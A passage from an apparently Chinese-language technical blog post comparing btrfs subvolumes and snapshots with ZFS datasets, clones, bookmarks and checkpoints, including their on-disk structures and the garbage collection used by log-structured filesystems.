也不必連續,只是按大小排序。有一些預留的 object_id 不能用作別的用途,他們的編號範圍是
-255ULL 到 255ULL,也就是表中前 255 和最後 255 個編號預留。
B樹中間節點和葉子節點結構大概像是這個樣子:
由此,每個中間節點保存一系列 key 到葉子節點的指針,而葉子節點內保存一系列 item ,每個 item 固定大小,並指向節點內某個可變大小位置的 data 。從而邏輯上一棵B樹可以包含任何類型的 item ,每個 item 都可以有可變大小的附加數據。通過這樣的B樹結構,可以緊湊而靈活地表達很多數據類型。
有這樣的背景之後,比如在 SysadminGuide 這頁的 Flat 佈局 有個子卷佈局的例子。
toplevel (volume root directory, not to be mounted by default) +-- root (subvolume root directory, to be mounted at /) +-- home (subvolume root directory, to be mounted at /home) +-- var (directory) | \-- www (subvolume root directory, to be mounted at /var/www) \-- postgres (subvolume root directory, to be mounted at /var/lib/postgresql)
用圓柱體表示子卷的話畫成圖大概是這個樣子:
上圖例子中的 Flat 佈局在 btrfs 中大概是這樣的數據結構, 其中實線箭頭是B樹一系列中間節點和葉子節點,邏輯上指向一棵B樹,虛線箭頭是根據 inode 號之類的編號的引用:
上圖中已經隱去了很多和本文無關的具體細節,所有這些細節都可以通過 btrfs inspect-internal 的 dump-super 和 dump-tree 查看到。
ROOT_TREE 中記錄了到所有別的B樹的指針,在一些文檔中叫做 tree of tree roots 。「所有別的B樹」
舉例來說比如 2 號 extent_tree ,3 號 chunk_tree , 4 號 dev_tree ,10 號 free_space_tree
,這些B樹都是描述 btrfs 文件系統結構非常重要的組成部分,但是在本文關係不大,
今後有機會再討論它們。在 ROOT_TREE 的 5 號對象有一個 fs_tree ,它描述了整個 btrfs pool
的頂級子卷,也就是圖中叫 toplevel 的那個子卷(有些文檔用定冠詞稱 the FS_TREE
的時候就是在說這個 5 號樹,而不是別的子卷的 FS_TREE )。除了頂級子卷之外,別的所有子卷的 object_id
在 256ULL 到 -256ULL 的範圍之間,對子卷而言 ROOT_TREE 中的這些 object_id 也同時是它們的
子卷 id ,在內核掛載文件系統的時候可以用 subvolid 找到它們,別的一些對子卷的操作也可以直接用
subvolid 表示一個子卷。 ROOT_TREE 的 6 號對象描述的不是一棵樹,而是一個名叫 default
的特殊目錄,它指向 btrfs pool 的默認掛載子卷。最初 mkfs 的時候,這個目錄指向 ROOT_ITEM 5
,也就是那個頂級子卷,之後可以通過命令
btrfs subvolume set-default
修改它指向別的子卷,這裏它被改爲指向 ROOT_ITEM 256 亦即那個名叫 "root" 的子卷。
每一個子卷都有一棵自己的 FS_TREE (有的文檔中叫 file tree),一個 FS_TREE 相當於傳統 Unix 文件系統中的一整個 inode table ,只不過它除了包含 inode 信息之外還包含所有文件夾內容。在 FS_TREE 中, object_id 同時也是它所描述對象的 inode 號,所以 btrfs 的 子卷有互相獨立的 inode 編號 ,不同子卷中的文件或目錄可以擁有相同的 inode 。 或許有人不太清楚子卷間 inode 編號獨立意味着什麼,簡單地說,這意味着你不能跨子卷創建 hard link ,不能跨子卷 mv 移動文件而不產生複製操作。不過因爲 reflink 和 inode 無關, 可以跨子卷創建 reflink ,也可以用 reflink + rm 的方式快速「移動」文件(這裏移動加引號是因爲 inode 變了,傳統上不算移動)。
FS_TREE 中一個目錄用一個 inode_item 和多個 dir_item 描述, inode_item 是目錄自己的 inode
,那些 dir_item 是目錄的內容。 dir_item 可以指向別的 inode_item 來描述普通文件和子目錄,
也可以指向 root_item 來描述這個目錄指向一個子卷。有人或許疑惑,子卷就沒有自己的 inode
麼?其實如果看 數據結構定義
的話
struct btrfs_root_item
結構在最開頭的地方包含了一個
struct btrfs_inode_item
所以 root_item 也同時作爲子卷的 inode
,不過用戶通常看不到這個子卷的 inode ,因爲子卷在被(手動或自動地)掛載到目錄上之後,
用戶會看到的是子卷的根目錄的 inode 。
比如上圖 FS_TREE toplevel 中,有兩個對象,第一個 256 是(子卷的)根目錄,第二個 257 是 "var" 目錄,256 有4個子目錄,其中 "root" "home" "postgres" 這三個指向了 ROOT_TREE 中的對應子卷,而 "var" 指向了 inode 257 。然後 257 有一個子目錄叫 "www" 它指向了 ROOT_TREE 中 object_id 爲 258 的子卷。
以上是子卷、目錄、 inode 在 btrfs 中的記錄方式,你可能想知道,如何記錄一個快照呢? 特別是,如果對一個包含子卷的子卷創建了快照,會得到什麼結果呢?如果我們在上面的佈局基礎上執行:
btrfs subvolume snapshot toplevel toplevel/toplevel@s1
那麼產生的數據結構大概如下所示:
在 ROOT_TREE 中增加了 260 號子卷,其內容複製自 toplevel 子卷,然後 FS_TREE toplevel 的 256 號 inode 也就是根目錄中增加一個 dir_item 名叫 toplevel@s1 它指向 ROOT_ITEM 的 260 號子卷。這裏看似是完整複製了整個 FS_TREE 的內容,這是因爲 CoW b-tree 當只有一個葉子節點時就複製整個葉子節點。如果子卷內容再多一些,除了葉子之外還有中間節點, 那麼只有被修改的葉子和其上的中間節點需要複製。從而創建快照的開銷基本上是 O( level of FS_TREE ),而B樹的高度一般都能維持在很低的程度,所以快照創建速度近乎是常數開銷。
從子卷和快照的這種實現方式,可以看出: 雖然子卷可以嵌套子卷,但是對含有嵌套子卷的子卷做快照的語義有些特別
。上圖中我沒有畫 toplevel@s1 下的各個子卷到對應 ROOT_ITEM 之間的虛線箭頭,
是因爲這時候如果你嘗試直接跳過 toplevel 掛載 toplevel@s1 到掛載點,
會發現那些子卷沒有被自動掛載,更奇怪的是那些子卷的目錄項也不是個普通目錄,
嘗試往它們中放東西會得到無權訪問的錯誤,對它們能做的唯一事情是手動將別的子卷掛載在上面。
推測原因在於這些子目錄並不是真的目錄,沒有對應的目錄的 inode ,試圖查看它們的 inode
號會得到 2 號,而這是個保留號不應該出現在 btrfs 的 inode 號中。
每個子卷創建時會記錄包含它的上級子卷,用
btrfs subvolume list
可以看到每個子卷的
top level subvolid ,猜測當掛載 A 而 A 中嵌套的 B 子卷記錄的上級子卷不是 A 的時候,
會出現上述奇怪行爲。嵌套子卷的快照還有一些別的奇怪行爲,大家可以自己探索探索。
因爲上述嵌套子卷在做快照時的特殊行爲, 我個人建議是 保持平坦的子卷佈局 ,也就是說:
btrfs 的子卷可以設置「可寫」或者「只讀」,在創建一個快照的時候也可以通過
-r
參數創建出一個只讀快照。通常只讀快照可能比可寫的快照更有用,因爲
btrfs send
命令只接受只讀快照作爲參考點。子卷可以有兩種方式切換它是否只讀的屬性,可以通過
btrfs property set <subvol> ro
直接修改是否只讀,也可以對只讀子卷用
btrfs subvolume snapshot
創建出可寫子卷,或者反過來對可寫子卷創建出只讀子卷。
只讀快照也有些特殊的限制,在 SysadminGuide#Special_Cases 就提到一例,你不能把只讀快照用 mv 移出包含它的目錄,雖然你能用 mv 給它改名或者移動包含它的目錄 到別的地方。 btrfs wiki 上給出這個限制的原因是子卷中記錄了它的上級, 所以要移動它到別的上級需要修改這個子卷,從而只讀子卷沒法移動到別的上級( 不過我還沒搞清楚子卷在哪兒記錄了它的上級,記錄的是上級目錄還是上級子卷)。不過這個限制可以通過 對只讀快照在目標位置創建一個新的只讀快照,然後刪掉原位置的只讀快照來解決。
Btrfs 給傳統文件系統只增加了子卷的概念,相比之下 ZFS 中類似子卷的概念有好幾個,據我所知有這些:
梳理一下這些概念之間的關係也是最初想寫下這篇筆記的初衷。先畫個簡圖,隨後逐一講講這些概念:
上圖中,假設我們有一個 pool ,其中有 3 個文件系統叫 fs1~fs3 和一個 zvol 叫 zv1 ,然後文件系統 fs1 有兩個快照 s1 和 s2 ,和兩個書籤 b1 和 b2。pool 整體有兩個檢查點 cp1 和 cp2 。這個簡圖將作爲例子在後面介紹這些概念。
ZFS 中把文件系統、快照、克隆、zvol 等概念統稱爲數據集(dataset)。 一些文檔和介紹中把文件系統叫做數據集,大概因爲在 ZFS 中,文件系統是最先創建並且最有用的數據集。
在 ZFS 的術語中,把底層管理和釋放存儲設備空間的叫做 ZFS 存儲池(pool),
簡稱 zpool ,其上可以容納多個數據集,這些數據集用類似文件夾路徑的語法
pool_name/dataset_path@snapshot_name
這樣來稱呼。
存儲池中的數據集一同共享可用的存儲空間,每個數據集單獨跟蹤自己所消耗掉的存儲空間。
數據集之間有類似文件夾的層級父子關係,這一點有用的地方在於可以在父級數據集上設定一些 ZFS 參數, 這些參數可以被子級數據集繼承,從而通過層級關係可以方便地微調 ZFS 參數。在 btrfs 中目前還沒有類似的屬性繼承的功能。
zvol 的概念和本文關係不大,可以參考我上一篇 ZFS 子系統筆記中 ZVOL 的說明 。用 zvol 能把 ZFS 當作一個傳統的卷管理器,繞開 ZFS 的 ZPL(ZFS Posix filesystem Layer) 層。在 Btrfs 中可以用 loopback 塊設備某種程度上模擬 zvol 的功能。
創建了 ZFS 存儲池後,首先要在其中創建文件系統(filesystem),才能在文件系統中存儲文件。 容易看出 ZFS 文件系統的概念直接對應 btrfs 中的子卷。文件系統(filesystem)這個術語, 從命名方式來看或許是想要和(像 Solaris 的 SVM 或者 Linux 的 LVM 這樣的)傳統的卷管理器 與其上創建的多個文件系統(Solaris UFS 或者 Linux ext)這樣的上下層級做類比。 從 btrfs 的子卷在內部結構中叫作 FS_TREE 這一點可以看出,至少在 btrfs 早期設計中大概也是把子卷稱爲 filesystem 做過類似的類比的。 和傳統的卷管理器與傳統文件系統的上下層級不同的是, ZFS 和 btrfs 中由存儲池跟蹤和管理可用空間, 做統一的數據塊分配和釋放,沒有分配的數據塊算作整個存儲池中所有 ZFS 文件系統或者 btrfs 子卷的可用空間。
與 btrfs 的子卷不同的是, ZFS 的文件系統之間是完全隔離的,(除了後文會講的 dedup 方式之外)不可以共享任何數據或者元數據。一個文件系統還包含了隸屬於其中的快照(snapshot)、 克隆(clone)和書籤(bookmark)。在 btrfs 中一個子卷和對其創建的快照之間雖然有父子關係, 但是在 ROOT_TREE 的記錄中屬於平級的關係。
上面簡圖中 pool 裏面包含 3 個文件系統,分別是 fs1~3 。
ZFS 的快照對應 btrfs 的只讀快照,是標記數據集在某一歷史時刻上的只讀狀態。 和 btrfs 的只讀快照一樣, ZFS 的快照也兼作 send/receive 時的參考點。 快照隸屬於一個數據集,這說明 ZFS 的文件系統或者 zvol 都可以創建快照。
ZFS 中快照是排列在一個時間線上的,因爲都是只讀快照,它們是數據集在歷史上的不同時間點。 這裏說的時間不是系統時鐘的時間,而是 ZFS 中事務組(TXG, transaction group)的一個序號。 整個 ZFS pool 的每次寫入會被合併到一個事務組,對事務組分配一個嚴格遞增的序列號, 提交一個事務組具有類似數據庫中事務的語義:要麼整個事務組都被完整提交,要麼整個 pool 處於上一個事務組的狀態,即使中間發生突然斷電之類的意外也不會破壞事務語義。 因此 ZFS 快照就是數據集處於某一個事務組時的狀態。
如果不滿於對數據集進行的修改,想把整個數據集恢復到之前的狀態,那麼可以回滾(rollback
)數據集到一個快照。回滾操作會撤銷掉對數據集的所有更改,並且默認參數下只能回滾到最近的一個快照。
如果想回滾到更早的快照,可以先刪掉最近的幾個,或者可以使用
zfs rollback -r
參數刪除中間的快照並回滾。
除了回滾操作,還可以直接只讀訪問到快照中的文件。 ZFS 的文件系統中有個隱藏文件夾叫 ".zfs" ,所以如果只想回滾一部分文件,可以從 ".zfs/snapshots/SNAPSHOT-NAME" 中把需要的文件複製出來。
比如上面簡圖中 fs1 就有
pool/fs1@s1
和
pool/fs1@s2
這兩個快照,
那麼可以在 fs1 掛載點下
.zfs/snapshots/s1
的路徑直接訪問到 s1 中的內容。
ZFS 的克隆(clone)有點像 btrfs 的可寫快照。因爲 ZFS 的快照是只讀的,如果想對快照做寫入,那需要先用
zfs clone
從快照中建出一個克隆,創建出的克隆和快照共享元數據和數據,
然後對克隆的寫入不影響數據集原本的寫入點。
創建了克隆之後,作爲克隆參考點的快照會成爲克隆的依賴,克隆存在期間無法刪除掉作爲其依賴的快照。
一個數據集可以有多個克隆,這些克隆都獨立於數據集當前的寫入點。使用
zfs promote
命令可以把一個克隆「升級」成爲數據集的當前寫入點,從而數據集原本的寫入點會調轉依賴關係,
成爲這個新寫入點的一個克隆,被升級的克隆原本依賴的快照和之前的快照會成爲新數據集寫入點的快照。
比如上面簡圖中 fs1 有 c1 的克隆,它依賴於 s2 這個快照,從而 c1 存在的時候就不能刪除掉 s2 。
這是 ZFS 一個比較新的特性,ZFS on Linux 分支從 v0.6.4 開始支持創建書籤的功能。
書籤(bookmark)特性存在的理由是基於這樣的事實:原本 ZFS 在 send 兩個快照間的差異的時候,比如 send S1 和 S2 之間的差異,在發送端實際上只需要 S1 中記錄的時間戳(TXG id),而不需要 S1 快照的數據, 就可以計算出 S1 到 S2 的差異。在接收端則需要 S1 的完整數據,在其上根據接收到的數據流創建 S2 。 因此在發送端,可以把快照 S1 轉變成書籤,只留下時間戳元數據而不保留任何目錄結構或者文件內容。 書籤只能作爲增量 send 時的參考點,並且在接收端需要有對應的快照,這種方式可以在發送端節省很多存儲。
通常的使用場景是,比如你有一個筆記本電腦,上面有 ZFS 存儲的數據,然後使用一個服務器上 ZFS 作爲接收端,定期對筆記本上的 ZFS 做快照然後 send 給服務器。在沒有書籤功能的時候, 筆記本上至少得保留一個和服務器上相同的快照,作爲 send 的增量參考點, 而這個快照的內容已經在服務器上,所以筆記本中存有相同的快照只是在浪費存儲空間。 有了書籤功能之後,每次將定期的新快照發送到服務器之後,就可以把這個快照轉化成書籤,節省存儲開銷。
這也是 ZFS 的新特性, ZFS on Linux 分支從 v0.8.0 開始支持創建檢查點。
簡而言之,檢查點(checkpoint)可以看作是整個存儲池級別的快照,使用檢查點能快速將整個存儲池都恢復到上一個狀態。 這邊有篇文章介紹 ZFS checkpoint 功能的背景、用法和限制 ,可以看出當存儲池中有檢查點的時候很多存儲池的功能會受影響(比如不能刪除 vdev 、不能處於 degraded 狀態、不能 scrub 到當前存儲池中已經釋放而在檢查點還在引用的數據塊), 於是檢查點功能設計上更多是給系統管理員準備的用於調整整個 ZFS pool 時的後悔藥, 調整結束後日用狀態下應該刪除掉所有檢查點。
先說書籤和檢查點,因爲這是兩個 btrfs 目前完全沒有的功能。
書籤功能完全圍繞 ZFS send 的工作原理,而 ZFS send 位於
ZFS 設計中的 DSL
層面,甚至不關心它 send 的快照的數據是來自文件系統還是 zvol
。在發送端它只是從目標快照遞歸取數據塊,判斷 TXG
是否老於參照點的快照,然後把新的數據塊全部發往 send stream ;在接收端也只是完整地接收數據塊,
不加以處理,。與之不同的是 btrfs 的 send 的工作原理是工作在文件系統的只讀子卷層面,
發送端在內核代碼中根據目標快照的 b 樹和參照點快照的 generation 生成一個 diff
(可以通過
btrfs subvolume find-new
直接拿到這個 diff ),然後在用戶態代碼中根據
diff 和參照點、目標快照的兩個只讀子卷的數據產生一連串修改文件系統的指令,
指令包括創建文件、刪除文件、讓文件引用數據塊(保持 reflink )等操作;在接收端則完全工作在用戶態下,
根據接收到的指令重建目標快照。可見 btrfs send 需要在發送端讀取參照點快照的數據(比如找到
reflink 引用),從而 btrfs 沒法(或者很難)實現書籤功能。
檢查點也是 btrfs 目前沒有的功能。 btrfs 目前不能對頂層子卷做遞歸的 snapshot ,btrfs 的子卷也沒有類似 ZFS 數據集的層級關係和可繼承屬性,從而沒法實現類似檢查點的功能。
除了書籤和檢查點之外,剩下的概念可以在 ZFS 和 btrfs 之間有如下映射關係:
ZFS 文件系統: | btrfs 子卷 |
---|---|
ZFS 快照: | btrfs 只讀快照 |
ZFS 克隆: | btrfs 可寫快照 |
對 ZFS 數據集的操作,大部分也可以找到對應的對 btrfs 子卷的操作。
zfs list: |
btrfs subvolume list
|
---|---|
zfs create: |
btrfs subvolume create
|
zfs destroy: |
btrfs subvolume delete
|
zfs rename: |
mv
|
zfs snapshot: |
btrfs subvolume snapshot -r
|
zfs rollback: | 這個在 btrfs 需要對只讀快照創建出可寫的快照(用 snapshot 命令,或者直接修改讀寫屬性),然後改名或者調整掛載點 |
zfs diff: |
btrfs subvolume find-new
|
zfs clone: |
btrfs subvolume snapshot
|
zfs promote: | 和 rollback 類似,可以直接調整 btrfs 子卷的掛載點 |
可見雖然功能上類似,但是至少從管理員管理的角度而言, zfs 對文件系統、快照、克隆的劃分更爲清晰, 對他們能做的操作也更爲明確。這也是很多從 ZFS 遷移到 btrfs ,或者反過來從 btrfs 換用 zfs 時,一些人困惑的起源(甚至有人據此說 ZFS 比 btrfs 好在 cli 設計上)。
不過 btrfs 子卷的設計也使它在系統管理上有了更大的靈活性。比如在 btrfs 中刪除一個子卷不會受制於別的子卷是否存在,而在 zfs 中要刪除一個快照必須先保證先摧毀掉依賴它的克隆。 再比如 btrfs 的可寫子卷沒有主次之分,而 zfs 中一個文件系統和其克隆之間有明顯的區別,所以需要 promote 命令調整差異。還有比如 ZFS 的文件系統只能回滾到最近一次的快照, 要回滾到更久之前的快照需要刪掉中間的快照,並且回滾之後原本的文件系統數據和快照數據就被丟棄了; 而 btrfs 中因爲回滾操作相當於調整子卷的掛載,所以不需要刪掉快照, 並且回滾之後原本的子卷和快照還可以繼續保留。
加上 btrfs 有 reflink ,這給了 btrfs 在使用中更大的靈活性,可以有一些 zfs 很難做到的用法。
比如想從快照中打撈出一些虛擬機鏡像的歷史副本,而不想回滾整個快照的時候,在
btrfs 中可以直接
cp --reflink=always
將鏡像從快照中複製出來,此時的複製將和快照共享數據塊;
而在 zfs 中只能用普通 cp 複製,會浪費很多存儲空間。
要講到存儲細節,首先需要 瞭解一下 ZFS 的分層設計 。不像 btrfs 基於現代 Linux 內核,有許多現有文件系統已經實現好的基礎設施可以利用, 並且大體上只用到一種核心數據結構(CoW的B樹); ZFS 則脫胎於 Solaris 的野心勃勃, 設計時就分成很多不同的子系統,逐步提升抽象層次, 並且每個子系統都發明了許多特定需求下的數據結構來描述存儲的信息。 在這裏和本文內容密切相關的是 ZPL 、 DSL 、 DMU 這些 ZFS 子系統。
Sun 曾經寫過一篇 ZFS 的 On disk format 對理解 ZFS 如何存儲在磁盤上很有幫助,雖然這篇文檔是針對 Sun 還在的時候 Solaris 的 ZFS ,現在 ZFS 的內部已經變化挺大,不過對於理解本文想講的快照的實現方式還具有參考意義。這裏藉助這篇 ZFS On Disk Format 中的一些圖示來解釋 ZFS 在磁盤上的存儲方式。
要理解 ZFS 的磁盤結構首先想介紹一下 ZFS 中的塊指針(block pointer,
blkptr_t
),結構如右圖所示。 ZFS 的塊指針用在 ZFS 的許多數據結構之中,當需要從一個地方指向任意另一個地址的時候都會
插入這樣的一個塊指針結構。大多數文件系統中也有類似的指針結構,比如 btrfs
中有個8字節大小的邏輯地址(logical address),一般也就是個 4字節 到 16字節
大小的整數寫着扇區號、塊號或者字節偏移,在 ZFS 中的塊指針則是一個巨大的128字節(不是
128bit !)的結構體。
128字節塊指針的開頭是3個數據虛擬地址(DVA, Data Virtual Address),每個 DVA 是 128bit ,其中記錄這塊數據在什麼設備(vdev)的什麼偏移(offset)上佔用多大(asize),有 3個 DVA 槽是用來存儲最多3個不同位置的副本。然後塊指針還記錄了這個塊用什麼校驗算法( cksum )和什麼壓縮算法(comp),壓縮前後的大小(PSIZE/LSIZE),以及256bit的校驗和(checksum)。
當需要間接塊(indirect block)時,塊指針中記錄了間接塊的層數(lvl),和下層塊指針的數量(fill)。 一個間接塊就是一個數據塊中包含一個塊指針的數組,當引用的對象很大需要很多塊時,間接塊構成一棵樹狀結構。
塊指針中還有和本文關係很大的一個值 birth txg ,記錄這個塊指針誕生時的整個 pool 的 TXG id 。一次 TXG 提交中寫入的數據塊都會有相同的 birth txg ,這個相當於 btrfs 中 generation 的概念。 實際上現在的 ZFS 塊指針似乎記錄了兩個 birth txg ,分別在圖中的9行和a行的位置, 一個 physical 一個 logical ,用於 dedup 和 device removal 。值得注意的是塊指針裏只有 birth txg ,沒有引用計數或者別的機制做引用,這對後面要講的東西很關鍵。
理解塊指針和 ZFS 的子系統層級之後,就可以來看看 ZFS 存儲在磁盤上的具體結構了。 因爲涉及的數據結構種類比較多,所以先來畫一張邏輯上的簡圖,其中箭頭只是某種引用關係不代表塊指針, 方框也不是結構體細節:
如上簡圖所示,首先 ZFS pool 級別有個 uberblock ,具體每個 vdev 如何存儲和找到這個 uberblock 今後有空再聊,這裏認爲整個 zpool 有唯一的一個 uberblock 。從 uberblock 有個指針指向元對象集(MOS, Meta Object Set),它是個 DMU 的對象集,它包含整個 pool 的一些配置信息,和根數據集(root dataset)。根數據集再包含整個 pool 中保存的所有頂層數據集,每個數據集有一個 DSL Directory 結構。然後從每個數據集的 DSL Directory 可以找到一系列子數據集和一系列快照等結構。最後每個數據集有個 active 的 DMU 對象集,這是整個文件系統的當前寫入點,每個快照也指向一個各自的 DMU 對象集。
DSL 層的每個數據集的邏輯結構也可以用下面的圖表達(來自 ZFS On Disk Format ):
ZFS On Disk Format 中 4.1 節的 DSL infrastructure
需要記得 ZFS 中沒有類似 btrfs 的 CoW b-tree 這樣的統一數據結構,所以上面的這些設施是用各種不同的數據結構表達的。 尤其每個 Directory 的結構可以包含一個 ZAP 的鍵值對存儲,和一個 DMU 對象。 可以理解爲, DSL 用 DMU 對象集(Objectset)表示一個整數(uinit64_t 的 dnode 編號)到 DMU 對象的映射,然後用 ZAP 對象表示一個名字到整數的映射,然後又有很多額外的存儲於 DMU 對象中的 DSL 結構體。如果我們畫出不同的指針和不同的結構體,那麼會得到一個稍顯複雜的圖,見右邊「ZFS On Disk Format 中 4.2 節的 Meta Object Set」,圖中還只畫到了 root_dataset 爲止。
看到這裏,大概可以理解在 ZFS 中創建一個 ZFS 快照的操作其實很簡單:找到數據集的 DSL Directory 中當前 active 的 DMU 對象集指針,創建一個表示 snapshot 的 DSL dataset 結構,指向那個 DMU 對象集,然後快照就建好了。因爲今後對 active 的寫入會寫時複製對應的 DMU 對象集,所以 snapshot 指向的 DMU 對象集不會變化。
按上面的存儲格式細節來看, btrfs 和 zfs 中創建快照似乎都挺簡單的,利用寫時拷貝,創建快照本身沒什麼複雜操作。
如果你也聽到過別人介紹 CoW 文件系統時這麼講,是不是會覺得似乎哪兒少了點什麼。創建快照是挺簡單的, 直到你開始考慮如何刪除快照 ……
或者不侷限在刪除單個快照上, CoW 文件系統因爲寫時拷貝,每修改一個文件內容或者修改一個文件系統結構, 都是分配新數據塊,然後考慮是否要刪除這個數據替換的老數據塊,此時如何決定老數據塊能不能刪呢? 刪除快照的時候也是同樣,快照是和別的文件系統有共享一部分數據和元數據的, 所以顯然不能把快照引用到的數據塊都直接刪掉,要考察快照引用的數據塊是否還在別的地方被引用着, 只能刪除那些沒有被引用的數據。
深究「如何刪快照」這個問題,就能看出 WAFL 、 btrfs 、 ZFS 甚至別的 log-structured 文件系統間的關鍵區別,從而也能看到另一個問題的答案: 爲什麼 btrfs 只需要子卷的抽象,而 zfs 搞出了這麼多抽象概念? 帶着這兩個疑問,我們來研究一下這些文件系統的塊刪除算法。
講 btrfs 和 zfs 用到的刪除算法之前,先講一下日誌結構(log-structured)文件系統中的垃圾回收( GC, Garbage Collection)算法。對熟悉編程的人來說,講到空間釋放算法,大概首先會想到 GC ,因爲這裏要解決的問題乍看起來很像編程語言的內存管理中 GC 想要解決的問題:有很多指針相互指向很多數據結構,找其中沒有被引用的垃圾然後釋放掉。
首先要澄清一下 日誌結構文件系統(log-structured file system) 的定義,因爲有很多文件系統用日誌,而用了日誌的不一定是日誌結構文件系統。 在維基百科上有個頁面介紹 日誌結構文件系統 ,還有個 列表列出了一些日誌結構文件系統 。通常說,整個文件系統的存儲結構都組織成一個大日誌的樣子,就說這個文件系統是日誌結構的, 這包括很多早期學術研究的文件系統,以及目前 NetBSD 的 LFS 、Linux 的 NILFS ,用在光盤介質上的 UDF ,還有一些專門爲閃存優化的 JFFS 、 YAFFS 以及 F2FS 。日誌結構文件系統不包括那些用額外日誌保證文件系統一致性,但文件系統結構不在日誌中的 ext4 、 xfs 、 ntfs 、 hfs+ 。
簡單來說,日誌結構文件系統就是把存儲設備當作一個大日誌,每次寫入數據時都添加在日誌末尾, 然後用寫時複製重新寫入元數據,最後提交整個文件系統結構。因爲這裏用了寫時複製,原本的數據塊都還留着, 所以可以很容易實現快照之類的功能。從這個特徵上來說,寫時拷貝文件系統(CoW FS)像 btrfs/zfs 這些在一些人眼中也符合日誌結構文件系統的特徵, 所以也有人說寫時拷貝文件系統算是日誌結構文件系統的一個子類。不過日誌結構文件系統的另一大特徵是利用 GC 回收空間,這裏是本文要講的區別,所以在我看來不用 GC 的 btrfs 和 zfs 不算是日誌結構文件系統。
舉個例子,比如下圖是一個日誌結構文件系統的磁盤佔用,其中綠色是數據,藍色是元數據(比如目錄結構和 inode),紅色是文件系統級關鍵數據(比如最後的日誌提交點),一開始可能是這樣,有9個數據塊, 2個元數據塊,1個系統塊:
現在要覆蓋 2 和 3 的內容,新寫入 n2 和 n3 ,再刪除 4 號的內容 ,然後修改 10 裏面的 inode 變成 n10 引用這些新數據,然後寫入一個新提交 n12 ,用黃色表示不再被引用的垃圾,提交完大概是這樣:
日誌結構文件系統需要 GC 比較容易理解,寫日誌嘛,總得有一個「添加到末尾」的寫入點,比如上面圖中的 n12 就是當前的寫入點。空盤上連續往後寫而不 GC 總會遇到空間末尾,這時候就要覆蓋寫空間開頭, 就很難判斷「末尾」在什麼地方,而下一次寫入需要在哪裏了。 這時文件系統也不知道需要回收哪些塊(圖中的 o2 o3 o4 o10 和 o12),因爲這些塊可能被別的地方還繼續 引用着,需要等到 GC 時掃描元數據來判斷。
和內存管理時的 GC 不同的一點在於,文件系統的 GC 肯定不能停下整個世界跑 GC ,也不能把整個地址空間對半分然後 Mark-and-Sweep ,這些在內存中還尚可的簡單策略直接放到文件系統中絕對是性能災難。所以文件系統的 GC 需要並行的後臺 GC ,並且需要更細粒度的分塊機制能在 Mark-and-Sweep 的時候保持別的地方可以繼續寫入數據而維持文件系統的正常職能。
通常文件系統的 GC 是這樣,先把整個盤分成幾個段(segment)或者區域(zone),術語不同不過表達的概念類似, 然後 GC 時挑一個老段,掃描文件系統元數據找出要釋放的段中還被引用的數據塊,搬運到日誌末尾,最後整個釋放一段。 搬運數據塊時,也要調整文件系統別的地方對被搬運的數據塊的引用。
物理磁盤上一般有扇區的概念,通常是 512B 或者 4KiB 的大小,在文件系統中一般把連續幾個物理塊作爲一個數據塊, 大概是 4KiB 到 1MiB 的數量級,然後日誌結構文件系統中一個段(segment)通常是連續的很多塊,數量級來看大約是 4MiB 到 64MiB 這樣的數量級。相比之下 ufs/ext4/btrfs/zfs 的分配器通常還有 block group 的概念, 大概是 128MiB 到 1GiB 的大小。可見日誌結構文件系統的段,是位於數據塊和其它文件系統 block group 中間的一個單位。段大小太小的話,會顯著增加空間管理需要的額外時間空間開銷,而段大小太大的話, 又不利於利用整個可用空間,這裏的抉擇有個平衡點。
繼續上面的例子,假設上面文件系統的圖示中每一列的4塊是一個段,想要回收最開頭那個段, 那麼需要搬運還在用的 1 到空閒空間,順帶修改引用它的 n10 ,最後提交 n12 :
要掃描並釋放一整段,需要掃描整個文件系統中別的元數據(圖中的 n12 和 n10 和 11)來確定有沒有引用到目標段中的地址,可見釋放一個段是一個 \(O(N)\) 的操作,其中 N 是元數據段的數量,按文件系統的大小增長, 於是刪除快照之類可能要連續釋放很多段的操作在日誌文件系統中是個 \(O(N^2)\) 甚至更昂贵的操作。 在文件系統相對比較小而系統內存相對比較大的時候,比如手機上或者PC讀寫SD卡,大部分元數據塊( 其中包含塊指針)都能放入內存緩存起來的話,這個掃描操作的開銷還是可以接受的。 但是對大型存儲系統顯然掃描並釋放空間就不合適了。
段的抽象用在閃存類存儲設備上的一點優勢在於,閃存通常也有擦除塊的概念,比寫入塊的大小要大, 是連續的多個寫入塊構成,從而日誌結構的文件系統中一個段可以直接對應到閃存的一個擦除塊上。 所以閃存設備諸如U盤或者 SSD 通常在底層固件中用日誌結構文件系統模擬一個塊設備,來做寫入平衡。 大家所說的 SSD 上固件做的 GC ,大概也就是這樣一種操作。
基於段的 GC 還有一個顯著缺陷,需要掃描元數據,複製搬運仍然被引用到的塊,這不光會增加設備寫入, 還需要調整現有數據結構中的指針,調整指針需要更多寫入,同時又釋放更多數據塊, F2FS 等一些文件系統設計中把這個問題叫 Wandering Tree Problem ,在 F2FS 設計中是通過近乎「作弊」的 NAT 轉換表 放在存儲設備期待的 FAT 所在位置,不僅能讓需要掃描的元數據更集中,還能減少這種指針調整導致的寫入。
不過基於段的 GC 也有一些好處,它不需要複雜的文件系統設計,不需要特殊構造的指針, 就能很方便地支持大量快照。一些日誌結構文件系統比如 NILFS 用這一點支持了「連續快照(continuous snapshots)」,每次文件系統提交都是自動創建一個快照,用戶可以手動標記需要保留哪些快照, GC 算法則排除掉用戶手動標記的快照之後,根據快照創建的時間,先從最老的未標記快照開始回收。 即便如此, GC 的開銷(CPU時間和磁盤讀寫帶寬)仍然是 NILFS 最爲被人詬病的地方,是它難以被廣泛採用的原因。 爲了加快 NILFS 這類日誌文件系統的 GC 性能讓他們能更適合於普通使用場景,也有許多學術研究致力於探索和優化 GC ,使用更先進的數據結構和算法跟蹤數據塊來調整 GC 策略,比如這裏有一篇 State-of-the-art Garbage Collection Policies for NILFS2 。
從日誌結構文件系統使用 GC 的困境中可以看出,文件系統級別實際更合適的, 可能不是在運行期依賴掃描元數據來計算空間利用率的 GC ,而是在創建快照時或者寫入數據時就預先記錄下快照的空間利用情況, 從而可以細粒度地跟蹤空間和回收空間,這也是 WAFL 早期實現快照的設計思路。
